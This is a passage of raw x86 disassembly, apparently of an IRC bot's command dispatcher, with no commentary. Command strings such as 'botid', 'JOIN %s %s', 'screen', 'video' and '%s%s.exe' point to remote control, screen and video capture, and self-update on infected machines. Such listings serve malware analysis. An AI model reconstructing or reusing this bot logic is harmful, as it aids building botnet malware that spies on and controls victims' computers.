eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4126C9 loc_4126B3: ; CODE XREF: sub_40EE72+3855j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h call near ptr 2620000h nop jmp short loc_4126B3 ; --------------------------------------------------------------------------- loc_4126C9: ; CODE XREF: sub_40EE72+383Fj call near ptr 2650C0Ah nop push eax push offset unk_4313D8 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_4126DA: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_43139C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4127AD loc_41279B: ; CODE XREF: sub_40EE72+3939j cmp [ebp+var_560], ebx jnz short loc_4127C8 push 32h nop call near ptr 2620000h jmp short loc_41279B ; --------------------------------------------------------------------------- loc_4127AD: ; CODE XREF: sub_40EE72+3927j nop call near ptr 2650C0Ah push eax lea eax, [ebp+var_2DC] push offset dword_431354 push eax call sub_4172B0 add esp, 0Ch loc_4127C8: ; CODE XREF: sub_40EE72+392Fj cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_431314 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4128C0 loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 2620000h jmp short loc_4128AA ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_40EE72+3A36j nop call near ptr 2650C0Ah push eax push offset unk_4312CC loc_4128CC: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292B push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292B: ; CODE XREF: sub_40EE72+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_43128C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4129B7 loc_4129A1: ; CODE XREF: sub_40EE72+3B43j cmp [ebp+var_2FC], ebx jnz loc_413A62 push 32h nop call near ptr 2620000h jmp short loc_4129A1 ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj nop call near ptr 2650C0Ah push eax push offset unk_431244 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412ABF mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_431208 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412AAE loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2620000h jmp short loc_412A98 ; --------------------------------------------------------------------------- loc_412AAE: ; CODE XREF: sub_40EE72+3C24j nop call near ptr 2650C0Ah push eax push offset unk_4311C0 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: sub_40EE72+3B67j push offset unk_431178 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412AC9: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 27D0A91h test eax, eax jz short loc_412AF9 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_431144 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AF9: ; CODE XREF: sub_40EE72+3C63j push offset dword_431128 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B55 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B55 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B55: ; CODE XREF: sub_40EE72+3CC1j ; sub_40EE72+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_4310E8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412C0B loc_412BF5: ; CODE XREF: sub_40EE72+3D97j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h call near ptr 2620000h nop jmp short loc_412BF5 ; --------------------------------------------------------------------------- loc_412C0B: ; CODE XREF: sub_40EE72+3D81j nop call near ptr 2650C0Ah push eax push offset unk_43109C jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C59 mov word ptr [ebp+var_470], 5 loc_412C59: ; CODE XREF: sub_40EE72+3DDCj cmp [ebp+var_C], ebx jz loc_413A62 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A62 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 276050Eh test eax, eax jnz short loc_412CA4 push offset unk_431068 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412CA4: ; CODE XREF: sub_40EE72+3E26j push edi push offset dword_431040 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E29 lea eax, [ebp+var_3FC] push eax push 104h call near ptr 27711C9h nop push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D44 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4A ; --------------------------------------------------------------------------- loc_412D44: ; CODE XREF: sub_40EE72+3EBCj mov [ebp+var_570], ebx loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D64 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6A ; --------------------------------------------------------------------------- loc_412D64: ; CODE XREF: sub_40EE72+3EE1j mov [ebp+var_574], ebx loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_430FF8 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412E18 loc_412E02: ; CODE XREF: sub_40EE72+3FA4j cmp [ebp+var_560], ebx jnz loc_413A62 push 32h nop call near ptr 2620000h jmp short loc_412E02 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej nop call near ptr 2650C0Ah push eax push offset unk_430FAC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej push offset unk_430F58 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBC push edi call sub_41781F imul eax, 3E8h pop ecx push eax nop call near ptr 2620000h loc_412EBC: ; CODE XREF: sub_40EE72+4034j push offset dword_430F24 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED0: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F8F push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 loc_412F4E: ; DATA XREF: ___:off_42DE40o add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_430EF4 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_40EE72+40A3j push offset dword_430EB0 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F99: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430EA8 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB6: ; CODE XREF: sub_40EE72+41AEj test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 loc_412FF4: ; CODE XREF: sub_40EE72+4469j ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFC: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_430E9C push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB6 ; --------------------------------------------------------------------------- loc_413022: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_430E68 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_41308E: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130BF push esi lea eax, [ebp+var_2DC] push offset dword_430E60 push eax call sub_4172B0 add esp, 0Ch loc_4130BF: ; CODE XREF: sub_40EE72+4236j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E34 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413113: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E08 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413181: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430DD0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BB: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax nop call near ptr 2620000h push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_430DA0 call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413224: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_4315BC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_430D74 jmp short loc_4132D6 ; --------------------------------------------------------------------------- loc_41328A: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_430D48 loc_4132D6: ; CODE XREF: sub_40EE72+4217j ; sub_40EE72+429Cj ... call sub_40BFE1 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_4132E0: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_430D1C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B6 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41339E push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_430CE8 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_41339E: ; CODE XREF: sub_40EE72+44D1j lea eax, [ebp+var_2DC] push offset dword_430CA8 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B6: ; CODE XREF: sub_40EE72+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_430C80 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413400: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413463 cmp [ebp+esi+var_8C], ebx jz short loc_413450 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_413449 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430C3C push eax call sub_4172B0 add esp, 0Ch jmp short loc_413463 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_40EE72+45B8j push offset dword_430C00 jmp short loc_413455 ; --------------------------------------------------------------------------- loc_413450: ; CODE XREF: sub_40EE72+45A6j push offset dword_430BB8 loc_413455: ; CODE XREF: sub_40EE72+45DCj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413463: ; CODE XREF: sub_40EE72+459Dj ; sub_40EE72+45D5j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FA mov [ebp+arg_0], ebx loc_41347B: ; CODE XREF: sub_40EE72+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43ADC8 test eax, eax jz short loc_4134DE lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_430B7C push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134DE: ; CODE XREF: sub_40EE72+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347B lea eax, [ebp+var_2DC] push offset dword_430B48 push eax call sub_4172B0 pop ecx pop ecx loc_4134FA: ; CODE XREF: sub_40EE72+4600j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A0 cmp [ebp+esi+var_8C], ebx jz short loc_41358D cmp [ebp+esi+var_88], ebx jz short loc_41358D cmp [ebp+esi+var_84], ebx jz short loc_41358D mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358D push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413586 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430B04 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A0 ; --------------------------------------------------------------------------- loc_413586: ; CODE XREF: sub_40EE72+46F5j push offset dword_430AC0 jmp short loc_413592 ; --------------------------------------------------------------------------- loc_41358D: ; CODE XREF: sub_40EE72+46A4j ; sub_40EE72+46ADj ... push offset dword_430A78 loc_413592: ; CODE XREF: sub_40EE72+4719j lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A0: ; CODE XREF: sub_40EE72+4697j ; sub_40EE72+4712j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A62 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_413639 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_413639 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_413639 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_413639 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_413639 push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_41362F push [ebp+arg_18] push offset dword_430A34 jmp loc_411888 ; --------------------------------------------------------------------------- loc_41362F: ; CODE XREF: sub_40EE72+47AEj push offset dword_4309E4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413639: ; CODE XREF: sub_40EE72+474Fj ; sub_40EE72+475Dj ... push offset dword_430998 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413643: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136BE mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366C: ; CODE XREF: sub_40EE72+4829j test eax, eax jz short loc_41369D push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366C ; --------------------------------------------------------------------------- loc_41369D: ; CODE XREF: sub_40EE72+47FCj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_430964 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136BE: ; CODE XREF: sub_40EE72+47E2j push edi push offset dword_430934 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_413709 push offset dword_4308F8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413709: ; CODE XREF: sub_40EE72+488Bj push esi push offset dword_4308D0 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413714: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413745 push offset unk_4308A4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413745: ; CODE XREF: sub_40EE72+48C7j push offset dword_430878 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41377E push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_41377E: ; CODE XREF: sub_40EE72+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_430850 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41381F loc_413809: ; CODE XREF: sub_40EE72+49ABj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h nop call near ptr 2620000h jmp short loc_413809 ; --------------------------------------------------------------------------- loc_41381F: ; CODE XREF: sub_40EE72+4995j call near ptr 2650C0Ah nop push eax push offset unk_430804 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 